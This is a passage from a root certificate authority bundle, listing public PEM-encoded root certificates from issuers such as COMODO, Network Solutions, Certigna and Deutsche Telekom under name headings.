8NEXLJXr9qXBkqPFwqcIYA1gBBCWeZ4WNOaptvolRTnIHmX5k/Wq8VLcmZg9pYYaDDUz+kulBAYV HDGA76oYa8J719rO+TMg1fW9ajMtgQT7sFzUnKPiXB3jqUJ1XnvUd+85VLrJChgbEplJL4hL/VBi 0XPnj3pDAgMBAAGjgZ0wgZowEwYJKwYBBAGCNxQCBAYeBABDAEEwCwYDVR0PBAQDAgGGMA8GA1Ud EwEB/wQFMAMBAf8wHQYDVR0OBBYEFK9EBMJBfkiD2045AuzshHrmzsmkMDQGA1UdHwQtMCswKaAn oCWGI2h0dHA6Ly9jcmwuc2VjdXJldHJ1c3QuY29tL1NHQ0EuY3JsMBAGCSsGAQQBgjcVAQQDAgEA MA0GCSqGSIb3DQEBBQUAA4IBAQBjGghAfaReUw132HquHw0LURYD7xh8yOOvaliTFGCRsoTciE6+ OYo68+aCiV0BN7OrJKQVDpI1WkpEXk5X+nXOH0jOZvQ8QCaSmGwb7iRGDBezUqXbpZGRzzfTb+cn CDpOGR86p1hcF895P4vkp9MmI50mD1hp/Ed+stCNi5O/KU9DaXR2Z0vPB4zmAve14bRDtUstFJ/5 3CYNv6ZHdAbYiNE6KTCEztI5gGIbqMdXSbxqVVFnFUq+NQfk1XWYN3kwFNspnWzFacxHVaIw98xc f8LDmBxrThaA63p4ZUWiABqvDA1VZDRIuJK58bRQKfJPIx/abKwfROHdI3hRW8cW -----END CERTIFICATE----- COMODO Certification Authority ============================== -----BEGIN CERTIFICATE----- MIIEHTCCAwWgAwIBAgIQToEtioJl4AsC7j41AkblPTANBgkqhkiG9w0BAQUFADCBgTELMAkGA1UE BhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgG A1UEChMRQ09NT0RPIENBIExpbWl0ZWQxJzAlBgNVBAMTHkNPTU9ETyBDZXJ0aWZpY2F0aW9uIEF1 dGhvcml0eTAeFw0wNjEyMDEwMDAwMDBaFw0yOTEyMzEyMzU5NTlaMIGBMQswCQYDVQQGEwJHQjEb MBkGA1UECBMSR3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHEwdTYWxmb3JkMRowGAYDVQQKExFD T01PRE8gQ0EgTGltaXRlZDEnMCUGA1UEAxMeQ09NT0RPIENlcnRpZmljYXRpb24gQXV0aG9yaXR5 MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ECLi3LjkRv3UcEbVASY06m/weaKXTuH +7uIzg3jLz8GlvCiKVCZrts7oVewdFFxze1CkU1B/qnI2GqGd0S7WWaXUF601CxwRM/aN5VCaTww xHGzUvAhTaHYujl8HJ6jJJ3ygxaYqhZ8Q5sVW7euNJH+1GImGEaaP+vB+fGQV+useg2L23IwambV 4EajcNxo2f8ESIl33rXp+2dtQem8Ob0y2WIC8bGoPW43nOIv4tOiJovGuFVDiOEjPqXSJDlqR6sA 1KGzqSX+DT+nHbrTUcELpNqsOO9VUCQFZUaTNE8tja3G1CEZ0o7KBWFxB3NH5YoZEr0ETc5OnKVI rLsm9wIDAQABo4GOMIGLMB0GA1UdDgQWBBQLWOWLxkwVN6RAqTCpIb5HNlpW/zAOBgNVHQ8BAf8E BAMCAQYwDwYDVR0TAQH/BAUwAwEB/zBJBgNVHR8EQjBAMD6gPKA6hjhodHRwOi8vY3JsLmNvbW9k b2NhLmNvbS9DT01PRE9DZXJ0aWZpY2F0aW9uQXV0aG9yaXR5LmNybDANBgkqhkiG9w0BAQUFAAOC AQEAPpiem/Yb6dc5t3iuHXIYSdOH5EOC6z/JqvWote9VfCFSZfnVDeFs9D6Mk3ORLgLETgdxb8CP OGEIqB6BCsAvIC9Bi5HcSEW88cbeunZrM8gALTFGTO3nnc+IlP8zwFboJIYmuNg4ON8qa90SzMc/ RxdMosIGlgnW2/4/PEZB31jiVg88O8EckzXZOFKs7sjsLjBOlDW0JB9LeGna8gI4zJVSk/BwJVmc IGfE7vmLV2H0knZ9P4SNVbfo5azV8fUZVqZa+5Acr5Pr5RzUZ5ddBA6+C4OmF4O5MBKgxTMVBbkN +8cFduPYSo38NBejxiEovjBFMR7HeL5YYTisO+IBZQ== -----END CERTIFICATE----- Network Solutions Certificate Authority ======================================= -----BEGIN CERTIFICATE----- MIID5jCCAs6gAwIBAgIQV8szb8JcFuZHFhfjkDFo4DANBgkqhkiG9w0BAQUFADBiMQswCQYDVQQG EwJVUzEhMB8GA1UEChMYTmV0d29yayBTb2x1dGlvbnMgTC5MLkMuMTAwLgYDVQQDEydOZXR3b3Jr IFNvbHV0aW9ucyBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcNMDYxMjAxMDAwMDAwWhcNMjkxMjMx MjM1OTU5WjBiMQswCQYDVQQGEwJVUzEhMB8GA1UEChMYTmV0d29yayBTb2x1dGlvbnMgTC5MLkMu MTAwLgYDVQQDEydOZXR3b3JrIFNvbHV0aW9ucyBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwggEiMA0G CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDkvH6SMG3G2I4rC7xGzuAnlt7e+foS0zwzc7MEL7xx jOWftiJgPl9dzgn/ggwbmlFQGiaJ3dVhXRncEg8tCqJDXRfQNJIg6nPPOCwGJgl6cvf6UDL4wpPT aaIjzkGxzOTVHzbRijr4jGPiFFlp7Q3Tf2vouAPlT2rlmGNpSAW+Lv8ztumXWWn4Zxmuk2GWRBXT crA/vGp97Eh/jcOrqnErU2lBUzS1sLnFBgrEsEX1QV1uiUV7PTsmjHTC5dLRfbIR1PtYMiKagMnc /Qzpf14Dl847ABSHJ3A4qY5usyd2mFHgBeMhqxrVhSI8KbWaFsWAqPS7azCPL0YCorEMIuDTAgMB AAGjgZcwgZQwHQYDVR0OBBYEFCEwyfsA106Y2oeqKtCnLrFAMadMMA4GA1UdDwEB/wQEAwIBBjAP BgNVHRMBAf8EBTADAQH/MFIGA1UdHwRLMEkwR6BFoEOGQWh0dHA6Ly9jcmwubmV0c29sc3NsLmNv bS9OZXR3b3JrU29sdXRpb25zQ2VydGlmaWNhdGVBdXRob3JpdHkuY3JsMA0GCSqGSIb3DQEBBQUA A4IBAQC7rkvnt1frf6ott3NHhWrB5KUd5Oc86fRZZXe1eltajSU24HqXLjjAV2CDmAaDn7l2em5Q 4LqILPxFzBiwmZVRDuwduIj/h1AcgsLj4DKAv6ALR8jDMe+ZZzKATxcheQxpXN5eNK4CtSbqUN9/ GGUsyfJj4akH/nxxH2szJGoeBfcFaMBqEssuXmHLrijTfsK0ZpEmXzwuJF/LWA/rKOyvEZbz3Htv wKeI8lN3s2Berq4o2jUsbzRF0ybh3uxbTydrFny9RAQYgrOJeRcQcT16ohZO9QHNpGxlaKFJdlxD ydi8NmdspZS11My5vWo1ViHe2MPr+8ukYEywVaCge1ey -----END CERTIFICATE----- WellsSecure Public Root Certificate Authority ============================================= -----BEGIN CERTIFICATE----- MIIEvTCCA6WgAwIBAgIBATANBgkqhkiG9w0BAQUFADCBhTELMAkGA1UEBhMCVVMxIDAeBgNVBAoM F1dlbGxzIEZhcmdvIFdlbGxzU2VjdXJlMRwwGgYDVQQLDBNXZWxscyBGYXJnbyBCYW5rIE5BMTYw NAYDVQQDDC1XZWxsc1NlY3VyZSBQdWJsaWMgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcN MDcxMjEzMTcwNzU0WhcNMjIxMjE0MDAwNzU0WjCBhTELMAkGA1UEBhMCVVMxIDAeBgNVBAoMF1dl bGxzIEZhcmdvIFdlbGxzU2VjdXJlMRwwGgYDVQQLDBNXZWxscyBGYXJnbyBCYW5rIE5BMTYwNAYD VQQDDC1XZWxsc1NlY3VyZSBQdWJsaWMgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwggEiMA0G CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDub7S9eeKPCCGeOARBJe+rWxxTkqxtnt3CxC5FlAM1 iGd0V+PfjLindo8796jE2yljDpFoNoqXjopxaAkH5OjUDk/41itMpBb570OYj7OeUt9tkTmPOL13 i0Nj67eT/DBMHAGTthP796EfvyXhdDcsHqRePGj4S78NuR4uNuip5Kf4D8uCdXw1LSLWwr8L87T8 bJVhHlfXBIEyg1J55oNjz7fLY4sR4r1e6/aN7ZVyKLSsEmLpSjPmgzKuBXWVvYSV2ypcm44uDLiB K0HmOFafSZtsdvqKXfcBeYF8wYNABf5x/Qw/zE5gCQ5lRxAvAcAFP4/4s0HvWkJ+We/SlwxlAgMB AAGjggE0MIIBMDAPBgNVHRMBAf8EBTADAQH/MDkGA1UdHwQyMDAwLqAsoCqGKGh0dHA6Ly9jcmwu cGtpLndlbGxzZmFyZ28uY29tL3dzcHJjYS5jcmwwDgYDVR0PAQH/BAQDAgHGMB0GA1UdDgQWBBQm lRkQ2eihl5H/3BnZtQQ+0nMKajCBsgYDVR0jBIGqMIGngBQmlRkQ2eihl5H/3BnZtQQ+0nMKaqGB i6SBiDCBhTELMAkGA1UEBhMCVVMxIDAeBgNVBAoMF1dlbGxzIEZhcmdvIFdlbGxzU2VjdXJlMRww GgYDVQQLDBNXZWxscyBGYXJnbyBCYW5rIE5BMTYwNAYDVQQDDC1XZWxsc1NlY3VyZSBQdWJsaWMg Um9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHmCAQEwDQYJKoZIhvcNAQEFBQADggEBALkVsUSRzCPI K0134/iaeycNzXK7mQDKfGYZUMbVmO2rvwNa5U3lHshPcZeG1eMd/ZDJPHV3V3p9+N701NX3leZ0 bh08rnyd2wIDBSxxSyU+B+NemvVmFymIGjifz6pBA4SXa5M4esowRBskRDPQ5NHcKDj0E0M1NSlj qHyita04pO2t/caaH/+Xc/77szWnk4bGdpEA5qxRFsQnMlzbc9qlk1eOPm01JghZ1edE13YgY+es E2fDbbFwRnzVlhE9iW9dqKHrjQrawx0zbKPqZxmamX9LPYNRKh3KL4YMon4QLSvUFpULB6ouFJJJ tylv2G0xffX8oRAHh84vWdw+WNs= -----END CERTIFICATE----- COMODO ECC Certification Authority ================================== -----BEGIN CERTIFICATE----- MIICiTCCAg+gAwIBAgIQH0evqmIAcFBUTAGem2OZKjAKBggqhkjOPQQDAzCBhTELMAkGA1UEBhMC R0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UE ChMRQ09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBFQ0MgQ2VydGlmaWNhdGlvbiBB dXRob3JpdHkwHhcNMDgwMzA2MDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCBhTELMAkGA1UEBhMCR0Ix GzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UEChMR Q09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBFQ0MgQ2VydGlmaWNhdGlvbiBBdXRo b3JpdHkwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQDR3svdcmCFYX7deSRFtSrYpn1PlILBs5BAH+X 4QokPB0BBO490o0JlwzgdeT6+3eKKvUDYEs2ixYjFq0JcfRK9ChQtP6IHG4/bC8vCVlbpVsLM5ni wz2J+Wos77LTBumjQjBAMB0GA1UdDgQWBBR1cacZSBm8nZ3qQUfflMRId5nTeTAOBgNVHQ8BAf8E BAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAwNoADBlAjEA7wNbeqy3eApyt4jf/7VG FAkK+qDmfQjGGoe9GKhzvSbKYAydzpmfz1wPMOG+FDHqAjAU9JM8SaczepBGR7NjfRObTrdvGDeA U/7dIOA1mjbRxwG55tzd8/8dLDoWV9mSOdY= -----END CERTIFICATE----- IGC/A ===== -----BEGIN CERTIFICATE----- MIIEAjCCAuqgAwIBAgIFORFFEJQwDQYJKoZIhvcNAQEFBQAwgYUxCzAJBgNVBAYTAkZSMQ8wDQYD VQQIEwZGcmFuY2UxDjAMBgNVBAcTBVBhcmlzMRAwDgYDVQQKEwdQTS9TR0ROMQ4wDAYDVQQLEwVE Q1NTSTEOMAwGA1UEAxMFSUdDL0ExIzAhBgkqhkiG9w0BCQEWFGlnY2FAc2dkbi5wbS5nb3V2LmZy MB4XDTAyMTIxMzE0MjkyM1oXDTIwMTAxNzE0MjkyMlowgYUxCzAJBgNVBAYTAkZSMQ8wDQYDVQQI EwZGcmFuY2UxDjAMBgNVBAcTBVBhcmlzMRAwDgYDVQQKEwdQTS9TR0ROMQ4wDAYDVQQLEwVEQ1NT STEOMAwGA1UEAxMFSUdDL0ExIzAhBgkqhkiG9w0BCQEWFGlnY2FAc2dkbi5wbS5nb3V2LmZyMIIB IjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsh/R0GLFMzvABIaIs9z4iPf930Pfeo2aSVz2 TqrMHLmh6yeJ8kbpO0px1R2OLc/mratjUMdUC24SyZA2xtgv2pGqaMVy/hcKshd+ebUyiHDKcMCW So7kVc0dJ5S/znIq7Fz5cyD+vfcuiWe4u0dzEvfRNWk68gq5rv9GQkaiv6GFGvm/5P9JhfejcIYy HF2fYPepraX/z9E0+X1bF8bc1g4oa8Ld8fUzaJ1O/Id8NhLWo4DoQw1VYZTqZDdH6nfK0LJYBcNd frGoRpAxVs5wKpayMLh35nnAvSk7/ZR3TL0gzUEl4C7HG7vupARB0l2tEmqKm0f7yd1GQOGdPDPQ tQIDAQABo3cwdTAPBgNVHRMBAf8EBTADAQH/MAsGA1UdDwQEAwIBRjAVBgNVHSAEDjAMMAoGCCqB egF5AQEBMB0GA1UdDgQWBBSjBS8YYFDCiQrdKyFP/45OqDAxNjAfBgNVHSMEGDAWgBSjBS8YYFDC iQrdKyFP/45OqDAxNjANBgkqhkiG9w0BAQUFAAOCAQEABdwm2Pp3FURo/C9mOnTgXeQp/wYHE4RK q89toB9RlPhJy3Q2FLwV3duJL92PoF189RLrn544pEfMs5bZvpwlqwN+Mw+VgQ39FuCIvjfwbF3Q MZsyK10XZZOYYLxuj7GoPB7ZHPOpJkL5ZB3C55L29B5aqhlSXa/oovdgoPaN8In1buAKBQGVyYsg Crpa/JosPL3Dt8ldeCUFP1YUmwza+zpI/pdpXsoQhvdOlgQITeywvl3cO45Pwf2aNjSaTFR+FwNI lQgRHAdvhQh+XU3Endv7rs6y0bO4g2wdsrN58dhwmX7wEwLOXt1R0982gaEbeC9xs/FZTEYYKKuF 0mBWWg== -----END CERTIFICATE----- Security Communication EV RootCA1 ================================= -----BEGIN CERTIFICATE----- MIIDfTCCAmWgAwIBAgIBADANBgkqhkiG9w0BAQUFADBgMQswCQYDVQQGEwJKUDElMCMGA1UEChMc U0VDT00gVHJ1c3QgU3lzdGVtcyBDTy4sTFRELjEqMCgGA1UECxMhU2VjdXJpdHkgQ29tbXVuaWNh dGlvbiBFViBSb290Q0ExMB4XDTA3MDYwNjAyMTIzMloXDTM3MDYwNjAyMTIzMlowYDELMAkGA1UE BhMCSlAxJTAjBgNVBAoTHFNFQ09NIFRydXN0IFN5c3RlbXMgQ08uLExURC4xKjAoBgNVBAsTIVNl Y3VyaXR5IENvbW11bmljYXRpb24gRVYgUm9vdENBMTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC AQoCggEBALx/7FebJOD+nLpCeamIivqA4PUHKUPqjgo0No0c+qe1OXj/l3X3L+SqawSERMqm4miO /VVQYg+kcQ7OBzgtQoVQrTyWb4vVog7P3kmJPdZkLjjlHmy1V4qe70gOzXppFodEtZDkBp2uoQSX WHnvIEqCa4wiv+wfD+mEce3xDuS4GBPMVjZd0ZoeUWs5bmB2iDQL87PRsJ3KYeJkHcFGB7hj3R4z ZbOOCVVSPbW9/wfrrWFVGCypaZhKqkDFMxRldAD5kd6vA0jFQFTcD4SQaCDFkpbcLuUCRarAX1T4 bepJz11sS6/vmsJWXMY1VkJqMF/Cq/biPT+zyRGPMUzXn0kCAwEAAaNCMEAwHQYDVR0OBBYEFDVK 9U2vP9eCOKyrcWUXdYydVZPmMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MA0GCSqG SIb3DQEBBQUAA4IBAQCoh+ns+EBnXcPBZsdAS5f8hxOQWsTvoMpfi7ent/HWtWS3irO4G8za+6xm iEHO6Pzk2x6Ipu0nUBsCMCRGef4Eh3CXQHPRwMFXGZpppSeZq51ihPZRwSzJIxXYKLerJRO1RuGG Av8mjMSIkh1W/hln8lXkgKNrnKt34VFxDSDbEJrbvXZ5B3eZKK2aXtqxT0QsNY6llsf9g/BYxnnW mHyojf6GPgcWkuF75x3sM3Z+Qi5KhfmRiWiEA4Glm5q+4zfFVKtWOxgtQaQM+ELbmaDgcm+7XeEW T1MKZPlO9L9OVL14bIjqv5wTJMJwaaJ/D8g8rQjJsJhAoyrniIPtd490 -----END CERTIFICATE----- OISTE WISeKey Global Root GA CA =============================== -----BEGIN CERTIFICATE----- MIID8TCCAtmgAwIBAgIQQT1yx/RrH4FDffHSKFTfmjANBgkqhkiG9w0BAQUFADCBijELMAkGA1UE BhMCQ0gxEDAOBgNVBAoTB1dJU2VLZXkxGzAZBgNVBAsTEkNvcHlyaWdodCAoYykgMjAwNTEiMCAG A1UECxMZT0lTVEUgRm91bmRhdGlvbiBFbmRvcnNlZDEoMCYGA1UEAxMfT0lTVEUgV0lTZUtleSBH bG9iYWwgUm9vdCBHQSBDQTAeFw0wNTEyMTExNjAzNDRaFw0zNzEyMTExNjA5NTFaMIGKMQswCQYD VQQGEwJDSDEQMA4GA1UEChMHV0lTZUtleTEbMBkGA1UECxMSQ29weXJpZ2h0IChjKSAyMDA1MSIw IAYDVQQLExlPSVNURSBGb3VuZGF0aW9uIEVuZG9yc2VkMSgwJgYDVQQDEx9PSVNURSBXSVNlS2V5 IEdsb2JhbCBSb290IEdBIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAy0+zAJs9 Nt350UlqaxBJH+zYK7LG+DKBKUOVTJoZIyEVRd7jyBxRVVuuk+g3/ytr6dTqvirdqFEr12bDYVxg Asj1znJ7O7jyTmUIms2kahnBAbtzptf2w93NvKSLtZlhuAGio9RN1AU9ka34tAhxZK9w8RxrfvbD d50kc3vkDIzh2TbhmYsFmQvtRTEJysIA2/dyoJaqlYfQjse2YXMNdmaM3Bu0Y6Kff5MTMPGhJ9vZ /yxViJGg4E8HsChWjBgbl0SOid3gF27nKu+POQoxhILYQBRJLnpB5Kf+42TMwVlxSywhp1t94B3R LoGbw9ho972WG6xwsRYUC9tguSYBBQIDAQABo1EwTzALBgNVHQ8EBAMCAYYwDwYDVR0TAQH/BAUw AwEB/zAdBgNVHQ4EFgQUswN+rja8sHnR3JQmthG+IbJphpQwEAYJKwYBBAGCNxUBBAMCAQAwDQYJ KoZIhvcNAQEFBQADggEBAEuh/wuHbrP5wUOxSPMowB0uyQlB+pQAHKSkq0lPjz0e701vvbyk9vIm MMkQyh2I+3QZH4VFvbBsUfk2ftv1TDI6QU9bR8/oCy22xBmddMVHxjtqD6wU2zz0c5ypBd8A3HR4 +vg1YFkCExh8vPtNsCBtQ7tgMHpnM1zFmdH4LTlSc/uMqpclXHLZCB6rTjzjgTGfA6b7wP4piFXa hNVQA7bihKOmNqoROgHhGEvWRGizPflTdISzRpFGlgC3gCy24eMQ4tui5yiPAZZiFj4A4xylNoEY okxSdsARo27mHbrjWr42U8U+dY+GaSlYU7Wcu2+fXMUY7N0v4ZjJ/L7fCg0= -----END CERTIFICATE----- Microsec e-Szigno Root CA ========================= -----BEGIN CERTIFICATE----- MIIHqDCCBpCgAwIBAgIRAMy4579OKRr9otxmpRwsDxEwDQYJKoZIhvcNAQEFBQAwcjELMAkGA1UE BhMCSFUxETAPBgNVBAcTCEJ1ZGFwZXN0MRYwFAYDVQQKEw1NaWNyb3NlYyBMdGQuMRQwEgYDVQQL EwtlLVN6aWdubyBDQTEiMCAGA1UEAxMZTWljcm9zZWMgZS1Temlnbm8gUm9vdCBDQTAeFw0wNTA0 MDYxMjI4NDRaFw0xNzA0MDYxMjI4NDRaMHIxCzAJBgNVBAYTAkhVMREwDwYDVQQHEwhCdWRhcGVz dDEWMBQGA1UEChMNTWljcm9zZWMgTHRkLjEUMBIGA1UECxMLZS1Temlnbm8gQ0ExIjAgBgNVBAMT GU1pY3Jvc2VjIGUtU3ppZ25vIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB AQDtyADVgXvNOABHzNuEwSFpLHSQDCHZU4ftPkNEU6+r+ICbPHiN1I2uuO/TEdyB5s87lozWbxXG d36hL+BfkrYn13aaHUM86tnsL+4582pnS4uCzyL4ZVX+LMsvfUh6PXX5qqAnu3jCBspRwn5mS6/N oqdNAoI/gqyFxuEPkEeZlApxcpMqyabAvjxWTHOSJ/FrtfX9/DAFYJLG65Z+AZHCabEeHXtTRbjc QR/Ji3HWVBTji1R4P770Yjtb9aPs1ZJ04nQw7wHb4dSrmZsqa/i9phyGI0Jf7Enemotb9HI6QMVJ PqW+jqpx62z69Rrkav17fVVA71hu5tnVvCSrwe+3AgMBAAGjggQ3MIIEMzBnBggrBgEFBQcBAQRb MFkwKAYIKwYBBQUHMAGGHGh0dHBzOi8vcmNhLmUtc3ppZ25vLmh1L29jc3AwLQYIKwYBBQUHMAKG IWh0dHA6Ly93d3cuZS1zemlnbm8uaHUvUm9vdENBLmNydDAPBgNVHRMBAf8EBTADAQH/MIIBcwYD VR0gBIIBajCCAWYwggFiBgwrBgEEAYGoGAIBAQEwggFQMCgGCCsGAQUFBwIBFhxodHRwOi8vd3d3 LmUtc3ppZ25vLmh1L1NaU1ovMIIBIgYIKwYBBQUHAgIwggEUHoIBEABBACAAdABhAG4A+gBzAO0A dAB2AOEAbgB5ACAA6QByAHQAZQBsAG0AZQB6AOkAcwDpAGgAZQB6ACAA6QBzACAAZQBsAGYAbwBn AGEAZADhAHMA4QBoAG8AegAgAGEAIABTAHoAbwBsAGcA4QBsAHQAYQB0APMAIABTAHoAbwBsAGcA 4QBsAHQAYQB0AOEAcwBpACAAUwB6AGEAYgDhAGwAeQB6AGEAdABhACAAcwB6AGUAcgBpAG4AdAAg AGsAZQBsAGwAIABlAGwAagDhAHIAbgBpADoAIABoAHQAdABwADoALwAvAHcAdwB3AC4AZQAtAHMA egBpAGcAbgBvAC4AaAB1AC8AUwBaAFMAWgAvMIHIBgNVHR8EgcAwgb0wgbqggbeggbSGIWh0dHA6 Ly93d3cuZS1zemlnbm8uaHUvUm9vdENBLmNybIaBjmxkYXA6Ly9sZGFwLmUtc3ppZ25vLmh1L0NO PU1pY3Jvc2VjJTIwZS1Temlnbm8lMjBSb290JTIwQ0EsT1U9ZS1Temlnbm8lMjBDQSxPPU1pY3Jv c2VjJTIwTHRkLixMPUJ1ZGFwZXN0LEM9SFU/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdDtiaW5h cnkwDgYDVR0PAQH/BAQDAgEGMIGWBgNVHREEgY4wgYuBEGluZm9AZS1zemlnbm8uaHWkdzB1MSMw IQYDVQQDDBpNaWNyb3NlYyBlLVN6aWduw7MgUm9vdCBDQTEWMBQGA1UECwwNZS1TemlnbsOzIEhT WjEWMBQGA1UEChMNTWljcm9zZWMgS2Z0LjERMA8GA1UEBxMIQnVkYXBlc3QxCzAJBgNVBAYTAkhV MIGsBgNVHSMEgaQwgaGAFMegSXUWYYTbMUuE0vE3QJDvTtz3oXakdDByMQswCQYDVQQGEwJIVTER MA8GA1UEBxMIQnVkYXBlc3QxFjAUBgNVBAoTDU1pY3Jvc2VjIEx0ZC4xFDASBgNVBAsTC2UtU3pp Z25vIENBMSIwIAYDVQQDExlNaWNyb3NlYyBlLVN6aWdubyBSb290IENBghEAzLjnv04pGv2i3Gal HCwPETAdBgNVHQ4EFgQUx6BJdRZhhNsxS4TS8TdAkO9O3PcwDQYJKoZIhvcNAQEFBQADggEBANMT nGZjWS7KXHAM/IO8VbH0jgdsZifOwTsgqRy7RlRw7lrMoHfqaEQn6/Ip3Xep1fvj1KcExJW4C+FE aGAHQzAxQmHl7tnlJNUb3+FKG6qfx1/4ehHqE5MAyopYse7tDk2016g2JnzgOsHVV4Lxdbb9iV/a 86g4nzUGCM4ilb7N1fy+W955a9x6qWVmvrElWl/tftOsRm1M9DKHtCAE4Gx4sHfRhUZLphK3dehK yVZs15KrnfVJONJPU+NVkBHbmJbGSfI+9J8b4PeI3CVimUTYc78/MPMMNz7UwiiAc7EBt51alhQB S6kRnSlqLtBdgcDPsiBDxwPgN05dCtxZICU= -----END CERTIFICATE----- Certigna ======== -----BEGIN CERTIFICATE----- MIIDqDCCApCgAwIBAgIJAP7c4wEPyUj/MA0GCSqGSIb3DQEBBQUAMDQxCzAJBgNVBAYTAkZSMRIw EAYDVQQKDAlEaGlteW90aXMxETAPBgNVBAMMCENlcnRpZ25hMB4XDTA3MDYyOTE1MTMwNVoXDTI3 MDYyOTE1MTMwNVowNDELMAkGA1UEBhMCRlIxEjAQBgNVBAoMCURoaW15b3RpczERMA8GA1UEAwwI Q2VydGlnbmEwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDIaPHJ1tazNHUmgh7stL7q XOEm7RFHYeGifBZ4QCHkYJ5ayGPhxLGWkv8YbWkj4Sti993iNi+RB7lIzw7sebYs5zRLcAglozyH GxnygQcPOJAZ0xH+hrTy0V4eHpbNgGzOOzGTtvKg0KmVEn2lmsxryIRWijOp5yIVUxbwzBfsV1/p ogqYCd7jX5xv3EjjhQsVWqa6n6xI4wmy9/Qy3l40vhx4XUJbzg4ij02Q130yGLMLLGq/jj8UEYkg DncUtT2UCIf3JR7VsmAA7G8qKCVuKj4YYxclPz5EIBb2JsglrgVKtOdjLPOMFlN+XPsRGgjBRmKf Irjxwo1p3Po6WAbfAgMBAAGjgbwwgbkwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUGu3+QTmQ tCRZvgHyUtVF9lo53BEwZAYDVR0jBF0wW4AUGu3+QTmQtCRZvgHyUtVF9lo53BGhOKQ2MDQxCzAJ BgNVBAYTAkZSMRIwEAYDVQQKDAlEaGlteW90aXMxETAPBgNVBAMMCENlcnRpZ25hggkA/tzjAQ/J SP8wDgYDVR0PAQH/BAQDAgEGMBEGCWCGSAGG+EIBAQQEAwIABzANBgkqhkiG9w0BAQUFAAOCAQEA hQMeknH2Qq/ho2Ge6/PAD/Kl1NqV5ta+aDY9fm4fTIrv0Q8hbV6lUmPOEvjvKtpv6zf+EwLHyzs+ ImvaYS5/1HI93TDhHkxAGYwP15zRgzB7mFncfca5DClMoTOi62c6ZYTTluLtdkVwj7Ur3vkj1klu PBS1xp81HlDQwY9qcEQCYsuuHWhBp6pX6FOqB9IG9tUUBguRA3UsbHK1YZWaDYu5Def131TN3ubY 1gkIl2PlwS6wt0QmwCbAr1UwnjvVNioZBPRcHv/PLLf/0P2HQBHVESO7SMAhqaQoLf0V+LBOK/Qw WyH8EZE0vkHve52Xdf+XlcCWWC/qu0bXu+TZLg== -----END CERTIFICATE----- Deutsche Telekom Root CA 2 ========================== -----BEGIN CERTIFICATE----- MIIDnzCCAoegAwIBAgIBJjANBgkqhkiG9w0BAQUFADBxMQswCQYDVQQGEwJERTEcMBoGA1UEChMT RGV1dHNjaGUgVGVsZWtvbSBBRzEfMB0GA1UECxMWVC1UZWxlU2VjIFRydXN0IENlbnRlcjEjMCEG A1UEAxMaRGV1dHNjaGUgVGVsZWtvbSBSb290IENBIDIwHhcNOTkwNzA5MTIxMTAwWhcNMTkwNzA5 MjM1OTAwWjBxMQswCQYDVQQGEwJERTEcMBoGA1UEChMTRGV1dHNjaGUgVGVsZWtvbSBBRzEfMB0G A1UECxMWVC1UZWxlU2VjIFRydXN0IENlbnRlcjEjMCEGA1UEAxMaRGV1dHNjaGUgVGVsZWtvbSBS b290IENBIDIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCrC6M14IspFLEUha88EOQ5 bzVdSq7d6mGNlUn0b2SjGmBmpKlAIoTZ1KXleJMOaAGtuU1cOs7TuKhCQN/Po7qCWWqSG6wcmtoI KyUn+WkjR/Hg6yx6m/UTAtB+NHzCnjwAWav12gz1MjwrrFDa1sPeg5TKqAyZMg4ISFZbavva4VhY AUlfckE8FQYBjl2tqriTtM2e66foai1SNNs671x1Udrb8zH57nGYMsRUFUQM+ZtV7a3fGAigo4aK Se5TBY8ZTNXeWHmb0mocQqvF1afPaA+W5OFhmHZhyJF81j4A4pFQh+GdCuatl9Idxjp9y7zaAzTV jlsB9WoHtxa2bkp/AgMBAAGjQjBAMB0GA1UdDgQWBBQxw3kbuvVT1xfgiXotF2wKsyudMzAPBgNV HRMECDAGAQH/AgEFMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQUFAAOCAQEAlGRZrTlk5ynr E/5aw4sTV8gEJPB0d8Bg42f76Ymmg7+Wgnxu1MM9756AbrsptJh6sTtU6zkXR34ajgv8HzFZMQSy zhfzLMdiNlXiItiJVbSYSKpk+tYcNthEeFpaIzpXl/V6ME+un2pMSyuOoAPjPuCp1NJ70rOo4nI8 rZ7/gFnkm0W09juwzTkZmDLl6iFhkOQxIY40sfcvNUqFENrnijchvllj4PKFiDFT1FQUhXB59C4G dyd1Lx+4ivn+xbrYNuSD7Odlt79jWvNGr4GUN9RBjNYj1h7P9WgbRGOiWrqnNVmh5XAFmw4jV5mU Cm26OWMohpLzGITY+9HPBVZkVw== -----END CERTIFICATE----- Cybertrust Global Root ====================== 